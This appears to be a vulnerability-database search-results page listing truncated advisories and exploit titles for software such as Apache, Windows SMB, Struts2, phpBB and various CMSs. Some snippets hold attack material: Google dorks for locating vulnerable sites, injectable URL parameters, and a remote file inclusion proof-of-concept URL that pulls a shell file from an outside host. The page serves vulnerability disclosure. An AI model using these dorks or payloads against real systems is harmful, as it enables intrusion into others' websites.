56796 matches found
Apache APR-util库apr_strmatch_precompile()函数整数下溢漏洞
BUGTRAQ ID: 35221 CVECAN ID: CVE-2009-0023 Apr-util是Apache所使用的Apache可移植运行时工具库。 Apr-util库的strmatch/aprstrmatch.c文件中的aprstrmatchprecompile函数存在整数下溢漏洞。如果远程攻击者通过.htaccess文件、moddavsvn模块中的SVNMasterURI指令、modapreq2模块或libapreq2 库等方式传送了特制输入的话，就可能导致守护程序崩溃。 APR-util 1.3.4 厂商补丁： Apache Group ------------...
Microsoft Windows SMB NT Trans请求缓冲区溢出漏洞（MS09-001）
BUGTRAQ ID: 33121 CVECAN ID: CVE-2008-4834 Windows是微软发布的非常流行的操作系统。 Microsoft服务器消息块（SMB）协议软件处理特制SMB数据包的方式存在缓冲区溢出漏洞，未经认证的远程攻击者可以在NT Trans请求中指定畸形的值导致内核忙碌，必须重启系统才能恢复操作。利用此漏洞的大多数尝试会导致系统拒绝服务，但是远程执行代码在理论上是可行的。 Microsoft Windows XP SP3 Microsoft Windows XP SP2 Microsoft Windows Server 2003 SP2 Microsoft...
EasyNews 40tr (SQL/XSS/LFI) Remote SQL Injection Exploit
No description provided by source. !/usr/bin/perl EasyNews-40tr Multiple Remote Vulnerabilities SQL Injection Exploit/XSS/LFI Discovered by : IRCRASH By Dr.Crash &...
BlackBerry 7270 Phone SIP堆栈格式串漏洞
BlackBerry 7270 Phone是一款IP电话解决方案。 BlackBerry 7270 Phone处理INVITE消息存在问题，远程攻击者可以利用漏洞对应用程序进行拒绝服务攻击。 由于存在格式串问题，提交包含恶意数据的SIP INVITE消息，可导致程序不能使用，必须重新启动获得正常功能。当漏洞被利用时，设备生成如下错误： "Uncaught exception: java.lang.IllegalArgumentException" BlackBerry Device Software 4.0.1 .83 BlackBerry 7270 0 可联系供应商获得补丁信息：...
Gentoo Linux Acme Thttpd文件访问信息泄露漏洞
Gentoo Linux是一个基于源码包的Linux系统。 Gentoo的www-servers/thttpd软件包实现上存在漏洞，远程攻击者可能利用此漏洞非授权获取敏感信息。 如果在新的Gentoo baselayout中使用start-stop-daemon命令的话，就会导致thttpd在启动时将文档根设置为系统的根目录“/”，这允许非授权用户远程访问thttpd进程可读的所有系统文件。 Gentoo Linux 1.12.6 临时解决方法：...
PHPBB2 Modificat PHPBB_Root_Path远程文件包含漏洞
PHPBB2 Modificat是一款基于PHP的WEB应用程序。 PHPBB2 Modificat不正确过滤用户提交的输入，远程攻击者可以利用漏洞以WEB权限执行任意命令。 问题是'functions.php'脚本对用户提交的'PHPBBRootPath'参数缺少过滤，指定远程服务器上的文件作为包含参数，可导致以WEB权限执行任意命令。 phpBB2-MODificat phpBB2-MODificat 0.2 目前没有解决方案提供,请关注以下链接： http://sourceforge.net/project/showfiles.php?groupid=110366...
Django is_safe_url() the URL to jump to the filter function of the Bypass（CVE-2017-7233）
Source: same thread safety Emergency Response Center Author: Nearg1e@YSRC Foreign security researcher roks0n provided to the Django official of a vulnerability. On issafeurl function Django comes with a function: django. utils. http. issafeurlurl, host=None, allowedhosts=None, requirehttps=False...
Linux af_packet.c race condition (local root) (CVE-2016-8655)
To create AFPACKET sockets you need CAPNETRAW in your network namespace, which can be acquired by unprivileged processes on systems where unprivileged namespaces are enabled Ubuntu, Fedora, etc. It can be triggered from within containers to compromise the host kernel. On Android, processes with...
PHPizabi 0.8 'notepad_body' Parameter SQL Injection Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/34223/info PHPizabi is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to compromise the...
Acoustica MP3 Audio Mixer 2.471 - (.m3u) Local Heap Overflow PoC
No description provided by source. !/usr/perl/bin -w Foundr By : D3V!L FucK3r MY Email: [email protected] Download : http://www.acoustica.com Tested on : Windos vista sp1 Version : mp3 audio mixer v.2.471 Demo if you Click ×××××× and select file then ...... : perl For a men : Gretz to : Sa^Devl ,...
PHP openssl_x509_parse() - Memory Corruption Vulnerability
No description provided by source. SektionEins GmbH www.sektioneins.de -= Security Advisory =- Advisory: PHP opensslx509parse Memory Corruption Vulnerability Release Date: 2013/12/13 Last Modified: 2013/12/13 Author: Stefan Esser stefan.esseratsektioneins.de Application: PHP 4.0.6 - PHP 4.4.9 PHP...
Newswriter SW <= 1.42 (editfunc.inc.php) File Include Vulnerability
No description provided by source. ============================================================================================== Newswriter SW = 1.42 NWCONFSYSTEMserverpath Remote File Inclusion Vulnerability...
yungoucmsSQL注入漏洞
简要描述： 官网 : http://www.yungoucms.com/ 演示站: http://www.yungoucms.cn/ 商品搜索可以构建SQL语句！ http://www.yungoucms.cn/?/stag/ public function tag $search =$this-segment4; if!$searchmessage"输入搜索关键字"; $search = urldecode$search; $search = htmlspecialchars$search; if!isutf8$search $search = iconv"GBK", "UTF-8",...
Siteserver CMS 3.6.3 SQL注入漏洞
SiteServer CMS 是基于微软.NET 平台开发的网站内容管理系统。 Siteserver 3.6.3版本存在SQL注入漏洞，由于ENName参数没有经过任何过滤，攻击者可以利用漏洞执行任意命令。 0 Siteserver CMS 3.6.3 目前厂商暂无提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本： http://www.siteserver.cn/...
MoinMoin action/twikidraw.py和action/anywikidraw.py任意代码执行漏洞
BUGTRAQ ID: 57082 CVECAN ID: CVE-2012-6081 MoinMoin是一个基于Python环境的wiki引擎程序，支持包括中文在内的多语种特性。 MoinMoin 1.9.6之前版本中 twikidraw action/twikidraw.py 、anywikidraw action/anywikidraw.py 脚本存在多个文件上传漏洞，可允许具有写权限的、经过身份验证的远程攻击者通过上传带有可执行扩展名的文件，然后直接请求该文件，执行任意代码。 0 MoinMoin Wiki Engine 1.9.3 厂商补丁： MoinMoin --------...
WordPress Comment Rating SQL Injection
No description provided by source. Exploit Title: Wordpress comment rating plugin multiple Vulnerabilities Google Dork: 1- inurl:"/wp-content/plugins/comment-rating/" 2- inurl:"/ck-processkarma.php?id=" Date: 2/1/2012 Author: The Evil Thinker Contact : [email protected] Software Link:...
Joomla Component com_bookjoomlas 0.1 SQL Injection Vulnerability
No description provided by source. Salvatore "drosophila" Fresta + Application: Joomla Component combookjoomlas + Version: 0.1 + Website: http://www.alikonweb.it + Bugs: A SQL Injection + Exploitation: Remote + Dork: inurl:"index.php?option=combookjoomlas" + Date: 06 Apr 2009 + Discovered by:...
PHP ZipArchive::extractTo()函数.zip文件目录遍历漏洞
BUGTRAQ ID: 32625 PHP是广泛使用的通用目的脚本语言，特别适合于Web开发，可嵌入到HTML中。 PHP所捆绑的zip扩展使用ZipArchive::extractTo将用户上传的zip文档解压到临时目录，但在解压时没有正确地过滤文档中所存储的文件名，因此在解压包含有相对文件名的zip文档时可能导致在临时目录外创建或覆盖文件。 PHP 5.2.7 PHP --- 目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本： http://www.php.net...
Icon Labs Iconfidant SSH服务器多个拒绝服务漏洞
BUGTRAQ ID: 29609 Iconfident SSH是运行在基于VxWorks系统上的SSH服务器。 Iconfidant SSH服务器中存在多个漏洞，可能导致系统不稳定。在SSH登录期间，如果在积极时间帧中执行了登录，或发送了无效的认证凭据，或在登录时同时执行了其他管理操作的话，就可以触发这些漏洞，导致拒绝服务。 Icon Labs Iconfidant SSH 2.3.7 Icon Labs --------- 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载： http://www.icon-labs.com/...
Network Time Protocol Crypto-NAK Preemptible Association Denial of Service Vulnerability(CVE-2016-1547)
SUMMARY An off-path attacker can cause a preemptible client association to be demobilized by sending a crypto NAK packet to a victim client with a spoofed source address of an existing associated peer. This is true even if authentication is enabled. Furthermore, if the attacker keeps sending cryp...
ohocms getsyscat.php sql注入漏洞
No description provided by source...
OnePlus 3/3T Bypassing the Bootloader’s Lock (CVE-2017-5626)
Bypassing the Bootloader’s Lock CVE-2017-5626 OnePlus 3 & 3T running OxygenOS 3.2 - 4.0.1 had two proprietary fastboot oem commands: 1. fastboot oem 4F500301 – bypasses the bootloader’s lock – allowing one with fastboot access to effectively unlock the device, disregarding OEM Unlocking, without...
金窗教务系统 /web/web/web/showfj.asp 等14处GET注入
No description provided by source...
akcms 6.1版本 存在sql注入漏洞
No description provided by source...
pigcms /index.php injection Vulnerability
0x01 漏洞简介 关键词：inurl:index.php?g=Home&m=Index&a=help intitle:营销系统 inurl:login 漏洞位置：index.php?m=Index&a=reg（注册页面） 0x02 漏洞利用 这里以http://.../index.php?m=Index&a=reg为例： 测试数据，截取数据包： POST /index.php?m=Users&a=checkreg HTTP/1.1 Host: ... Proxy-Connection: keep-alive Content-Length: 151 Cache-Control:...
myMP3-Player 3.0 - (.m3u) Local Buffer Overflow Exploit (SEH)
No description provided by source. !/usr/bin/perl Title: myMP3-Player v3.0 .m3u Local Buffer Overflow Exploit SEH Date: 18.03.2010 Author: n3w7u Software Link: http://www.chip.de/downloads/myMP3-Player-3.013008621.html Version: 3.0 and the other version can't be download from serious Page, and...
Cisco IOS Bind Shellcode 1.0
No description provided by source. ---------------------------------------------------------------------------------------- Cisco IOS Bind shellcode v1.0 c 2007 IRM Plc By Varun Uppal ---------------------------------------------------------------------------------------- The code creates a new...
Xitami Web Server 2.5b4 Remote Buffer Overflow Exploit
No description provided by source. !/usr/bin/perl ------------------------------------------------------------- Xitami Web Server 2.5b4 - Remote Buffer Overflow Exploit. Exploit coded by mr.pr0n http://s3cure.gr . Many greetz to krumel for his help :-...
AIDeX Mini-WebServer <= 1.1 - Remote Denial of Service Crash Exploit
No description provided by source. import socket print --------------------------------------------------------------------- print AID'eX Mini-Webserver Verion 1.1 early Release 3 Denial of Service print url: http://www.aidex.de/software/webserver/ print author: shinnai print mail:...
ZTE ZXV10 W300 Router信任管理漏洞
CVE ID：CVE-2014-0329 ZTE ZXV10 W300 Router是中国中兴通讯（ZTE）公司的一款无线路由器产品。 ZTE ZXV10 W300路由器2.1.0版本上的TELNET服务中存在安全漏洞，该漏洞源于程序安装使用默认的硬编码凭证，将admin帐户密码‘XXXXairocon’中的前四位设置为MAC地址后四位。远程攻击者可通过已知的密码利用该漏洞获取管理访问权限。 0 ZTE ZXV10 W300 Router 厂商补丁： ZTE ----- 目前厂商已经发布了升级补丁以修复此安全问题，补丁获取链接：...
Huawei eSight User-Defined设备图像上传漏洞
BUGTRAQ ID: 64633 华为eSight是面向企业网的网络管理软件，针对中小企业的典型诉求，特别推出eSight体验版和eSight精简版，通过简单易用的管理系统帮助企业聚焦于关键业务应用，实现无忧网管。 由于程序在处理设备图像上传时未能正确验证文件，这可以被攻击者利用通过一个中间人攻击操纵上传的文件，并随后执行任意代码。 0 Huawei eSight V200R003C01SPC200 Huawei eSight = V200R003C00 厂商补丁： Huawei ----- Huawei eSight V200R003C01SPC200以修复此漏洞，建议用户下载使用：...
War3 Jass虚拟机执行任意机器码严重漏洞
Jass正确地说是Jass2是魔兽3的脚本语言, 用于控制地图的进程和行为, 是魔兽游戏和地图的基础. 正常的地图编辑中摆放的单位Unit, 设置的触发Trigger等最终都会被翻译成Jass语言存在地图文件里在游戏时被调用. Jass属于War3为地图开发者提供的一套脚本语言，方便开发者开发或建立修改属于自己的地图。 经过推断，CS cstrike可能也存在此类问题。 War3 Jass 暂无 登陆浩方或者VS对战平台，修改某张地图例如DOTA的地图，开启游戏，等待其他玩家进入，开始游戏，即可执行任意机器码，控制玩家计算机。 set bjmeleeTwinkedHeroes1024 =...
Linux Kernel e1000驱动拒绝服务漏洞
BUGTRAQ ID: 35185 CVECAN ID: CVE-2009-1385 Linux Kernel是开放源码操作系统Linux所使用的内核。 Linux Kernel e1000驱动中drivers/net/e1000/e1000main.c文件的e1000cleanrxirq函数没有正确地验证畸形网络报文，远程攻击者可以在发送的报文中设置特制的接口MTU帧大小导致内核忙碌。 Linux kernel 2.6.x 厂商补丁： Linux ----- 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：...
X-Cart <= ? Multiple Remote File Inclusion Vulnerabilities
No description provided by source. xCart Remote file inclusion Download script : http://www.x-cart.com// Discovered By : aLiiF a.k.a arif @debuteam 07/09/2007 HomePage : http://www.debuteam.net// Thx to : Debu Newbie Payment Yogac nyubi Rozi ^S0ng0ku^ Kuris Sonix Toxicity newbi3 R4yn4ld0 DisJocKe...
Tagger Luxury Edition (BBCodeFile) Remote File Include Vulnerability
No description provided by source. Tagger v3 = BBCodeFile Remote file inclusion Discovered by : Morgan Error in : tags.php include$BBCodeFile; Vendor Website: http://www.venturenine.com PoC: http://victim-site.com/tags.php?BBCodeFile=http://ehmorgan.net/shell.dat? Google dork: intitle:"Tagger LE"...
QNAP Roon Server未授权RCE漏洞（CVE-2021-28810、CVE-2021-28811）
...
ZTE ZXR10 Router Multiple Vulnerabilities( CVE-2017-10931)
Vulnerabilities summary The following advisory describes five 5 vulnerabilities found in ZTE ZXR10 Router. ZXR10 ZSR V2 series router is “the next generation intelligent access router product of ZTE, which integrates routing, switching, wireless, security, and VPN gateway. The product adopts...
PHP Use of uninitialized memory in unserialize() （CVE-2017-5340）
Description: ------------ There was found a bug showing that PHP uses uninitialized memory during calls to unserialize. As the following report shows, the payload supplied to unserialize may control this uninitialized memory region and thus may be used to trick PHP into operating on faked objects...
yongyouNC /hrss/ELTextFile.load.d 信息泄漏漏洞
No description provided by source...
UtilMind Mail List 1.7 - Users Can Execute Commands
No description provided by source. !/usr/bin/perl -w Mailing List & News Version 1.7 / PoC Exploit. UtilMind Solutions / http://www.utilmind.com/ Actually a pretty amusing exploit to write! The 'openMAIL, |$mailprog $address' ... code sends e-mail to those who are on the mailing list - and the...
Coppermine Photo Gallery <= 1.3.2 File Retrieval SQL Injection Exploit
No description provided by source. tested and approved /str0ke CPG Exploit File Retrieval by SQL Injection. By Default this exploit get the config.inc.php file which contains the db user/pass If you want to get another file you need to have the good cookie you can use this phpscript to get good...
Jorjweb "id" SQL注入漏洞
Jorjweb是一款基于WEB的应用。 Jorjweb ajedrez47/Paginas/infotorneo.php不正确过滤用户提交给"id"参数的数据，允许远程攻击者利用漏洞提交特殊的SQL查询，可操作或获取数据库数据。 0 Jorjweb 目前没有详细解决方案提供： http://www.jorjweb.com/ PoC: http://jorjweb.localhost:8080/ajedrez47/Paginas/infotorneo.php?id=REMOTE SQL-INJECTION WEB VULNERABILITY!-- Demo Urls:...
万户网络技建站使用中间件Resin版本过低导致众多客户网站磁盘信息泄露
简要描述： 万户网络用来建站的中间件为，Resin-3.0.17版本，这个版本有个非常严重的信息泄露 漏洞 。具体详情请翻页。 漏洞介绍 ： 传送门 ：http://www.cnvd.org.cn/flaw/show/CNVD-2006-3233 详细说明： 万户主站：http://www.wanhu.com.cn/ 当然，我只是用来介绍下万户网络，主站木有这个漏洞。 下面请看案例 google hack： All Rights Reserved Designed by Wanhu inurl:jsp 不截图了 直接发有问题的网站。 http://www.ahdx.gov.cn/c:/...
Apache Struts2 多个前缀参数远程命令执行漏洞(CVE-2013-2251)
CVE-2013-2251 Struts2 是第二代基于Model-View-Controller MVC模型的java企业级web应用框架。它是WebWork和Struts社区合并后的产物 Apache Struts2的action:、redirect:和redirectAction:前缀参数在实现其功能的过程中使用了Ognl表达式，并将用户通过URL提交的内容拼接入Ognl表达式中，从而造成攻击者可以通过构造恶意URL来执行任意Java代码，进而可执行任意命令 redirect:和redirectAction:此两项前缀为Struts默认开启功能，目前Struts...
Erlang/OTP SSH库随机数生成漏洞
Bugtraq ID: 47980 CVE ID：CVE-2011-0766 Erlang是一种通用的面向并发的编程语言，OTP是包装在Erlang中的一组库程序。 Erlang/OTP ssh库依靠强大的加密随机数实现多个加密操作，但是库使用的RNG加密不够强壮，而且使用了可预测种子数据而进一步削弱了加密强度。RNGWichman-Hill没有与熵源进行混合处理。 库中所有ssh连接的种子使用当前时间大约微秒分辨率，通过观察从这个库建立的连接时间，可猜测三个RNG种子中前两个组成部分，第三个可通过尝试每个可能的值1..1000000暴力破解恢复。...
Windows 2000 TCP/IP窗口大小拒绝服务漏洞(MS09-048)
CVE ID：CVE-2008-4609 Microsoft Windows是一款流行的操作系统。 Microsoft Windows TCP/IP堆栈处理存在一个错误，可导致连接一直处于FIN-WAIT-1或FIN-WAIT-2状态，攻击者构建一个TCP接收窗口大小设置为零或极小值的恶意报文，"淹没"受此漏洞影响的系统，可导致系统停止对新请求的响应，造成拒绝服务攻击。 Microsoft Windows 2000 Advanced Server Microsoft Windows 2000 Datacenter Server Microsoft Windows 2000...
动力文章(Powereasy)存在严重上传漏洞
动力文章采用无惧上传方式，对于上传文件的判断，只过滤了asp,aspx,asa等扩展上，忽略了cer,cdx等经过asp.dll映射过的其它扩展，以及，动力文章其upfileclass.asp对扩展的判断不严，导致asp 后面有空格，被当作合法的扩展，恶意用户可以通过构造表单，上传asp,asa等恶意扩展。 Access&SQL www.asp163.net下载最新的补丁，用最新的动力文章的upfileclass.asp和upfile.asp替换有漏洞的文件。...
PHP cURL 'safe mode'安全绕过漏洞
BUGTRAQ ID: 27413 CVE ID:CVE-2007-4850 CNCVE ID:CNCVE-20074850 PHP是一款流行的网络编程语言。 PHP cURL存在'safe mode'安全绕过问题，远程攻击者可以利用漏洞访问受限制文件，获得敏感信息。 vardumpcurlexeccurlinit"file://safemodebypass\x00&qu ot;.FILE; is caused by error in curl/interface.c - --- define PHPCURLCHECKOPENBASEDIRstr, len, ret if...
Apache Tomcat JULI日志组件默认安全策略漏洞
BUGTRAQ ID: 27006 CVECAN ID: CVE-2007-5342 Apache Tomcat是一个流行的开放源码的JSP应用服务器程序。 Apache Tomcat的JULI日志组件允许Web应用提供自己的日志配置，默认的安全策略没有限制这种配置，允许不可信任的Web应用添加文件，或覆盖Tomcat进程拥有权限的已有文件。 Apache Group Tomcat 6.0.0 - 6.0.15 Apache Group Tomcat 5.5.9 - 5.5.25 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：...
screen 4.0.3 Local Authentication Bypass Vulnerability
No description provided by source. / / / / / / / / / / / / / // / / / / / / / / / // / / / // // / / / / / // ///// // // // Helith - 0815 -------------------------------------------------------------------------------- Author: Rembrandt Date: Known since somewhere in &cantremember...